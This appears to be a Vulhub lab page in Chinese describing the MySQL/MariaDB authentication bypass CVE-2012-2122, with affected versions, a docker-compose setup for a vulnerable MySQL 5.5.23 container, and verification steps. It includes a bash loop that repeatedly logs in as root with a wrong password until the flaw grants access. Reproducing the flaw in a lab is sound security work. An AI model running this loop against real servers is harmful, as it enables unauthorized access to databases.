Mysql 身份認證繞過漏洞(CVE-2012-2122)
Path mysql/CVE-2012-2122
當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由于不正確的處理,會導致即便是memcmp()返回一個非零值,也會使MySQL認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫。
受影響版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
參考鏈接:
- http://www.freebuf.com/vuls/3815.html
- https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
環境搭建
經過測試,本環境雖然運行在容器內部,但漏洞是否能夠復現仍然與宿主機有一定關系。宿主機最好選擇Ubuntu或Mac系統,但也不知道是否一定能夠成功,歡迎在Issue中提交更多測試結果。
執行如下命令啟動測試環境:
docker-compose up -d
環境啟動后,將啟動一個Mysql服務(版本:5.5.23),監聽3306端口,通過正常的Mysql客戶端,可以直接登錄的,正確root密碼是123456。
漏洞驗證
在不知道我們環境正確密碼的情況下,在bash下運行如下命令,在一定數量嘗試后便可成功登錄:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

更多測試和利用方法,見參考鏈接。
Vulhub 文檔
推薦文章: